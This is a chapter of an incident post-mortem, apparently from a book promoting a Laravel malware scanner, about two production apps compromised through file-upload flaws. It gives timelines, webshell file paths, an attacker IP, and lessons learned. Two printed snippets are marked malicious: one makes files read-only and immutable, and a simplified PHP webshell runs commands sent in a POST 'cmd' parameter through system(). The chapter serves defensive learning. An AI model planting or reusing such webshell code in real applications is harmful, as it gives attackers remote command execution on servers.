🔒 Hacked
Chapter 2

ClipCraft and Cetatean-ro: Two attacks we survived

This chapter isn’t theory. It’s a post-mortem.

Between December 2025 and January 2026, two of our production Laravel applications were compromised. Real businesses. Real users. Real data at risk.

We’re sharing everything we learned - the timeline, the files, the techniques - so you can recognize these patterns before they become your problem.

⚠️

This Wasn't Our First Time

Before ClipCraft and Cetatean.ro, we had already experienced a similar attack on shared hosting. Twelve Laravel applications on a single hosting account—most of them compromised with the same SEO spam malware. One weak point, twelve infected sites. That’s when we first realized: shared hosting multiplies your risk. But we didn’t learn our lesson fast enough.

Attack #1: ClipCraft (December 2025)

ClipCraft is an AI-powered video creation platform. Built on Laravel, it helps content creators automatically generate short-form videos for TikTok, Instagram Reels, and YouTube Shorts—complete with AI narration, dynamic subtitles, and automated editing. It had been running smoothly for months. Then Christmas came.

Timeline

DateTimeEvent
Dec 24UnknownInitial backdoor 1e58d74cc1ff.php planted in /public/
Dec 2502:03First recorded access from IP 194.110.207.198
Dec 25-26OngoingAttacker explores filesystem, uploads additional shells
Dec 26MorningSEO spam directories created: d2f08/, bb75f/, etc.
Dec 26Afternoonaccesson.php copied to ~15 directories
Dec 27EveningWe discover the breach by accident
🚨

72+ Hours Undetected

The attacker had free access to our server for over 72 hours before we noticed anything wrong. There was no monitoring. No alerts. No automated scanning.

The malware files

Here’s what we found when we started investigating:

Primary Webshell:

/public/1e58d74cc1ff.php

This was the main backdoor - a full-featured webshell with file management, command execution, and upload capabilities.

Backup Shells:

/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php

The attacker deployed multiple backup shells with randomized hash names. If we found and deleted one, the others would still work.

The Spreader:

accesson.php

This file was copied to approximately 15 directories throughout the project:

/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... and more

SEO Spam Directories:

/public/d2f08/
/public/bb75f/
/public/a9c3e/

These contained thousands of HTML files with fake product listings, pharmacy spam, and gambling links - all designed to hijack our domain’s SEO authority.

Attack techniques used

1. Hash-named Files

Every malicious file used a random hex string as its name:

This makes manual detection nearly impossible. How do you spot a malicious file among thousands when it looks like a cache file or temporary upload?

2. Multi-location Persistence

By copying accesson.php to 15+ directories, the attacker ensured that:

3. Self-Protection

The webshells included self-protection mechanisms:

Self-Protection Techniques MALICIOUS CODE
// Set file permissions to read-only
chmod(__FILE__, 0444);

// Try to set immutable flag (Linux)
@shell_exec('chattr +i ' . **FILE**);

// Disable error reporting
error_reporting(0);
ini_set('display_errors', 0);

4. Parameter-Based Commands

The webshells used URL parameters for different functions:

How Did They Get In?

Our investigation pointed to a compromised admin account. The attacker likely:

  1. Obtained credentials through phishing or credential stuffing
  2. Logged into the Laravel admin panel
  3. Found a file upload feature with insufficient validation
  4. Uploaded the initial webshell disguised as an image
💀

The Entry Point

The initial backdoor was uploaded through a legitimate feature of our application. The upload validation checked MIME type but not file extension thoroughly. A file named image.php with a forged MIME type passed validation.


Attack #2: Cetatean-ro (January 2026)

Three weeks later, it happened again - to a different project.

Cetatean.ro is a news analysis platform that helps Romanian citizens develop critical thinking about media. The name means “Citizen” in Romanian. Using AI-powered credibility assessment, it enables users to analyze news articles for bias and accuracy. The stakes were high—user trust and platform credibility were on the line.

The Discovery

Unlike ClipCraft, we didn’t discover this attack ourselves.

Hostinger’s malware scanner flagged a suspicious file:

/storage/app/public/kjrce03dcm.php
ℹ️

Hosting Provider Detection

Our hosting provider’s generic scanner found what we missed. But their scanner isn’t Laravel-aware - it only caught this because the pattern matched known webshell signatures.

The Malware

File: kjrce03dcm.php Location: /storage/app/public/ Type: Compact webshell (China Chopper variant)

The file was small - only about 4KB - but extremely dangerous:

Webshell Structure (Simplified) MALICIOUS CODE
<?php
// Disable errors
@error_reporting(0);
@ini_set('display_errors', 0);

// Accept commands via POST
if(isset($_POST['cmd'])) {
  echo '<pre>';
  $cmd = $_POST['cmd'];
  // Execute and output
  @system($cmd);
echo '</pre>';
}

// File operations via GET
if(isset($_GET['action'])) {
  switch($_GET['action']) {
case 'upload': /_ ... _/ break;
case 'download': /_ ... _/ break;
case 'delete': /_ ... _/ break;
}
}
?>

The Attack Vector

This time, the entry point was different:

  1. The application had a public file upload feature for user documents
  2. The upload went to storage/app/public/ (publicly accessible via symlink)
  3. Validation checked file size and MIME type, but not the extension
  4. Attacker uploaded kjrce03dcm.php directly

What Saved Us

Two things prevented major damage:

  1. Early detection - Hostinger flagged it within 48 hours
  2. Limited propagation - The attacker hadn’t yet spread to other directories

But this was luck, not skill.


Common Patterns Between Attacks

Looking at both incidents, clear patterns emerged:

1. Target Directories

Both attacks targeted publicly accessible directories:

DirectoryWhy It’s Targeted
/public/Directly web-accessible
/storage/app/public/Accessible via symlink
/public/uploads/User upload destination

2. Filename Strategies

StrategyExamplePurpose
Random hash1e58d74cc1ff.phpAvoid detection
Common namecache.phpBlend in
Similar to legitconfig.php.bakLook like backup

3. Self-Preservation

Both webshells included:

4. No Monitoring = No Detection

Neither attack was detected by our own systems. We had:


Lessons Learned

Lesson 1: PHP Should Never Exist in Upload Directories

🚨

Golden Rule

There is NEVER a legitimate reason for a .php file to exist in: - /storage/app/public/ - /public/uploads/ - Any user-upload directory

If a PHP file appears there, it’s malware. Period.

Lesson 2: Filename Patterns Matter

Hash-based filenames like 1e58d74cc1ff.php are almost always malicious. Legitimate Laravel files have readable names.

Lesson 3: One Backdoor Becomes Many

Attackers don’t stop at one entry point. They immediately create backups and spread to other locations. Finding one malicious file means there are probably more.

Lesson 4: Manual Checking Doesn’t Scale

We had thousands of PHP files across these projects. Manual inspection was impossible. We needed automation.

Lesson 5: Generic Scanners Aren’t Enough

Hostinger’s scanner found kjrce03dcm.php because it matched a known signature. But it would have missed:

Lesson 6: Shared Hosting Multiplies Risk

Remember the attack we mentioned at the start? Before ClipCraft and Cetatean.ro, twelve applications on shared hosting were compromised in a single sweep. On shared hosting, one vulnerable application can lead to all of them being infected—either through cross-account contamination or simply because attackers scan all sites on the same IP.

If you’re running multiple Laravel applications on shared hosting, they share the same risk pool. One weak link compromises everything.


The Birth of This Project

These two attacks - within three weeks of each other - forced us to act.

We couldn’t keep hoping we’d get lucky. We needed:

  1. Automated scanning that understands Laravel’s structure
  2. Real-time monitoring that alerts us to new threats
  3. Signature detection for known malware patterns
  4. Behavioral analysis for unknown threats
  5. Zero false positives so we could trust the alerts

That’s why we built Laravel Malware Scanner.

And that’s why we’re sharing this book with you - so you can learn from our mistakes instead of making your own.


Next: Chapter 3 - The 6 Most Common Attack Vectors in Laravel →

In the next chapter, we’ll examine the most common ways attackers compromise Laravel applications - including the critical CVEs you need to know about.